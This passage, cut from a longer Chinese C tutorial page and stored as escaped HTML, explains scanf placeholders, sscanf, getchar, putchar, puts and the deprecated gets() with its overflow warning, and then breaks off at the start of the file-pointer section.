0\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%f\u0026#34;\u003c/span\u003e, \u0026amp;y);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003escanf()\u003c/code\u003e读取用户输入时,\u003ccode\u003e%d\u003c/code\u003e占位符会忽略起首的空格,从\u003ccode\u003e-\u003c/code\u003e处开始获取数据,读取到\u003ccode\u003e-13\u003c/code\u003e停下来,因为后面的\u003ccode\u003e.\u003c/code\u003e不属于整数的有效字符。这就是说,占位符\u003ccode\u003e%d\u003c/code\u003e会读到\u003ccode\u003e-13\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e第二次调用\u003ccode\u003escanf()\u003c/code\u003e时,就会从上一次停止解读的地方,继续往下读取。这一次读取的首字符是\u003ccode\u003e.\u003c/code\u003e,由于对应的占位符是\u003ccode\u003e%f\u003c/code\u003e,会读取到\u003ccode\u003e.45e12\u003c/code\u003e,这是采用科学计数法的浮点数格式。后面的\u003ccode\u003e#\u003c/code\u003e不属于浮点数的有效字符,所以会停在这里。\u003c/p\u003e\u003cp\u003e由于\u003ccode\u003escanf()\u003c/code\u003e可以连续处理多个占位符,所以上面的例子也可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d%f\u0026#34;\u003c/span\u003e, \u0026amp;x, \u0026amp;y);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e的返回值是一个整数,表示成功读取的变量个数。如果没有读取任何项,或者匹配失败,则返回\u003ccode\u003e0\u003c/code\u003e。如果读取到文件结尾,则返回常量 EOF。\u003c/p\u003e\u003ch4 id=\"占位符-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8D%A0%E4%BD%8D%E7%AC%A6-1\" class=\"headerlink\" title=\"占位符\"\u003e\u003c/a\u003e占位符\u003c/h4\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e常用的占位符如下,与\u003ccode\u003eprintf()\u003c/code\u003e的占位符基本一致。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e%c\u003c/code\u003e:字符。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%d\u003c/code\u003e:整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%f\u003c/code\u003e:\u003ccode\u003efloat\u003c/code\u003e类型浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%lf\u003c/code\u003e:\u003ccode\u003edouble\u003c/code\u003e类型浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%Lf\u003c/code\u003e:\u003ccode\u003elong double\u003c/code\u003e类型浮点数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%s\u003c/code\u003e:字符串。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e%[]\u003c/code\u003e:在方括号中指定一组匹配的字符(比如\u003ccode\u003e%[0-9]\u003c/code\u003e),遇到不在集合之中的字符,匹配将会停止。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面所有占位符之中,除了\u003ccode\u003e%c\u003c/code\u003e以外,都会自动忽略起首的空白字符。\u003ccode\u003e%c\u003c/code\u003e不忽略空白字符,总是返回当前第一个字符,无论该字符是否为空格。如果要强制跳过字符前的空白字符,可以写成\u003ccode\u003escanf(\u0026#34; %c\u0026#34;, \u0026amp;ch)\u003c/code\u003e,即\u003ccode\u003e%c\u003c/code\u003e前加上一个空格,表示跳过零个或多个空白字符。\u003c/p\u003e\u003cp\u003e下面要特别说一下占位符\u003ccode\u003e%s\u003c/code\u003e,它其实不能简单地等同于字符串。它的规则是,从当前第一个非空白字符开始读起,直到遇到空白字符(即空格、换行符、制表符等)为止。因为\u003ccode\u003e%s\u003c/code\u003e不会包含空白字符,所以无法用来读取多个单词,除非多个\u003ccode\u003e%s\u003c/code\u003e一起使用。这也意味着,\u003ccode\u003escanf()\u003c/code\u003e不适合读取可能包含空格的字符串,比如书名或歌曲名。另外,\u003ccode\u003escanf()\u003c/code\u003e遇到\u003ccode\u003e%s\u003c/code\u003e占位符,会在字符串变量末尾存储一个空字符\u003ccode\u003e\\0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e将字符串读入字符数组时,不会检测字符串是否超过了数组长度。所以,储存字符串时,很可能会超过数组的边界,导致预想不到的结果。为了防止这种情况,使用\u003ccode\u003e%s\u003c/code\u003e占位符时,应该指定读入字符串的最长长度,即写成\u003ccode\u003e%[m]s\u003c/code\u003e,其中的\u003ccode\u003e[m]\u003c/code\u003e是一个整数,表示读取字符串的最大长度,后面的字符将被丢弃。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e name[\u003cspan class=\"number\"\u003e11\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%10s\u0026#34;\u003c/span\u003e, name);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ename\u003c/code\u003e是一个长度为11的字符数组,\u003ccode\u003escanf()\u003c/code\u003e的占位符\u003ccode\u003e%10s\u003c/code\u003e表示最多读取用户输入的10个字符,后面的字符将被丢弃,这样就不会有数组溢出的风险了。\u003c/p\u003e\u003ch4 id=\"赋值忽略符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%B5%8B%E5%80%BC%E5%BF%BD%E7%95%A5%E7%AC%A6\" class=\"headerlink\" title=\"赋值忽略符\"\u003e\u003c/a\u003e赋值忽略符\u003c/h4\u003e\u003cp\u003e有时,用户的输入可能不符合预定的格式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d-%d-%d\u0026#34;\u003c/span\u003e, \u0026amp;year, \u0026amp;month, \u0026amp;day);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果用户输入\u003ccode\u003e2020-01-01\u003c/code\u003e,就会正确解读出年、月、日。问题是用户可能输入其他格式,比如\u003ccode\u003e2020/01/01\u003c/code\u003e,这种情况下,\u003ccode\u003escanf()\u003c/code\u003e解析数据就会失败。\u003c/p\u003e\u003cp\u003e为了避免这种情况,\u003ccode\u003escanf()\u003c/code\u003e提供了一个赋值忽略符(assignment suppression character)\u003ccode\u003e*\u003c/code\u003e。只要把\u003ccode\u003e*\u003c/code\u003e加在任何占位符的百分号后面,该占位符就不会返回值,解析后将被丢弃。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d%*c%d%*c%d\u0026#34;\u003c/span\u003e, \u0026amp;year, \u0026amp;month, \u0026amp;day);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e%*c\u003c/code\u003e就是在占位符的百分号后面,加入了赋值忽略符\u003ccode\u003e*\u003c/code\u003e,表示这个占位符没有对应的变量,解读后不必返回。\u003c/p\u003e\u003ch3 id=\"sscanf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#sscanf\" class=\"headerlink\" title=\"sscanf()\"\u003e\u003c/a\u003esscanf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esscanf()\u003c/code\u003e函数与\u003ccode\u003escanf()\u003c/code\u003e很类似,不同之处是\u003ccode\u003esscanf()\u003c/code\u003e从字符串里面,而不是从用户输入获取数据。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esscanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003esscanf()\u003c/code\u003e的第一个参数是一个字符串指针,用来从其中获取数据。其他参数都与\u003ccode\u003escanf()\u003c/code\u003e相同。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esscanf()\u003c/code\u003e主要用来处理其他输入函数读入的字符串,从其中提取数据。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efgets(str, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(str), \u003cspan class=\"built_in\"\u003estdin\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esscanf\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#34;%d%d\u0026#34;\u003c/span\u003e, \u0026amp;i, \u0026amp;j);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efgets()\u003c/code\u003e先从标准输入获取了一行数据(\u003ccode\u003efgets()\u003c/code\u003e的介绍详见下一章),存入字符数组\u003ccode\u003estr\u003c/code\u003e。然后,\u003ccode\u003esscanf()\u003c/code\u003e再从字符串\u003ccode\u003estr\u003c/code\u003e里面提取两个整数,放入变量\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ej\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esscanf()\u003c/code\u003e的一个好处是,它的数据来源不是流数据,所以可以反复使用,不像\u003ccode\u003escanf()\u003c/code\u003e的数据来源是流数据,只能读取一次。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esscanf()\u003c/code\u003e的返回值是成功赋值的变量的数量,如果提取失败,返回常量 EOF。\u003c/p\u003e\u003ch3 id=\"getchar-,putchar\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#getchar-%EF%BC%8Cputchar\" class=\"headerlink\" title=\"getchar(),putchar()\"\u003e\u003c/a\u003egetchar(),putchar()\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e(1)getchar()\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003egetchar()\u003c/code\u003e函数返回用户从键盘输入的一个字符,使用时不带有任何参数。程序运行到这个命令就会暂停,等待用户从键盘输入,等同于使用\u003ccode\u003escanf()\u003c/code\u003e方法读取一个字符。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ech = getchar();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, \u0026amp;ch);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003egetchar()\u003c/code\u003e不会忽略起首的空白字符,总是返回当前读取的第一个字符,无论是否为空格。如果读取失败,返回常量 EOF,由于 EOF 通常是\u003ccode\u003e-1\u003c/code\u003e,所以返回值的类型要设为 int,而不是 char。\u003c/p\u003e\u003cp\u003e由于\u003ccode\u003egetchar()\u003c/code\u003e返回读取的字符,所以可以用在循环条件之中。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (getchar() != \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,只有读到的字符等于换行符(\u003ccode\u003e\\n\u003c/code\u003e),才会退出循环,常用来跳过某行。\u003ccode\u003ewhile\u003c/code\u003e循环的循环体没有任何语句,表示对该行不执行任何操作。\u003c/p\u003e\u003cp\u003e下面的例子是计算某一行的字符长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e len = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(getchar() != \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e len++;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003egetchar()\u003c/code\u003e每读取一个字符,长度变量\u003ccode\u003elen\u003c/code\u003e就会加1,直到读取到换行符为止,这时\u003ccode\u003elen\u003c/code\u003e就是该行的字符长度。\u003c/p\u003e\u003cp\u003e下面的例子是跳过空格字符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((ch = getchar()) == \u003cspan class=\"string\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,结束循环后,变量\u003ccode\u003ech\u003c/code\u003e等于第一个非空格字符。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e(2)putchar()\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003eputchar()\u003c/code\u003e函数将它的参数字符输出到屏幕,等同于使用\u003ccode\u003eprintf()\u003c/code\u003e输出一个字符。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, ch);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e操作成功时,\u003ccode\u003eputchar()\u003c/code\u003e返回输出的字符,否则返回常量 EOF。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e(3)小结\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e由于\u003ccode\u003egetchar()\u003c/code\u003e和\u003ccode\u003eputchar()\u003c/code\u003e这两个函数的用法,要比\u003ccode\u003escanf()\u003c/code\u003e和\u003ccode\u003eprintf()\u003c/code\u003e更简单,而且通常是用宏来实现,所以要比\u003ccode\u003escanf()\u003c/code\u003e和\u003ccode\u003eprintf()\u003c/code\u003e更快。如果操作单个字符,建议优先使用这两个函数。\u003c/p\u003e\u003ch3 id=\"puts\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#puts\" class=\"headerlink\" title=\"puts()\"\u003e\u003c/a\u003eputs()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eputs()\u003c/code\u003e函数用于将参数字符串显示在屏幕(stdout)上,并且自动在字符串末尾添加换行符。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Here are some messages:\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eputs()\u003c/code\u003e在屏幕上输出两行内容。\u003c/p\u003e\u003cp\u003e写入成功时,\u003ccode\u003eputs()\u003c/code\u003e返回一个非负整数,否则返回常量 EOF。\u003c/p\u003e\u003ch3 id=\"gets\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#gets\" class=\"headerlink\" title=\"gets()\"\u003e\u003c/a\u003egets()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003egets()\u003c/code\u003e函数以前用于从\u003ccode\u003estdin\u003c/code\u003e读取整行输入,现在已经被废除了,仍然放在这里介绍一下。\u003c/p\u003e\u003cp\u003e该函数读取用户的一行输入,不会跳过起始处的空白字符,直到遇到换行符为止。这个函数会丢弃换行符,将其余字符放入参数变量,并在这些字符的末尾添加一个空字符\u003ccode\u003e\\0\u003c/code\u003e,使其成为一个字符串。\u003c/p\u003e\u003cp\u003e它经常与\u003ccode\u003eputs()\u003c/code\u003e配合使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e words[\u003cspan class=\"number\"\u003e81\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Enter a string, please\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egets(words);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例使用\u003ccode\u003eputs()\u003c/code\u003e在屏幕上输出提示,然后使用\u003ccode\u003egets()\u003c/code\u003e获取用户的输入。\u003c/p\u003e\u003cp\u003e由于\u003ccode\u003egets()\u003c/code\u003e获取的字符串,可能超过字符数组变量的最大长度,有安全风险,建议不要使用,改为使用\u003ccode\u003efgets()\u003c/code\u003e。\u003c/p\u003e\u003ch2 id=\"文件操作\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C\" class=\"headerlink\" title=\"文件操作\"\u003e\u003c/a\u003e文件操作\u003c/h2\u003e\u003cp\u003e本章介绍 C 语言如何操作文件。\u003c/p\u003e\u003ch3 id=\"文件指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"文件指针\"\u003e\u003c/a\u003e文件指针\u003c/h3\u003e\u003cp\u003eC 语言提供了一个 FILE 数据结构,记录了操作一个文件所需要的信息。该结构定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e,所有文件操作函数都要通过这个数据结构,获取文件信息。\u003c/p\u003e\u003cp\u003e开始操作一个文件之前,就要定义一个指向该文件的 FILE 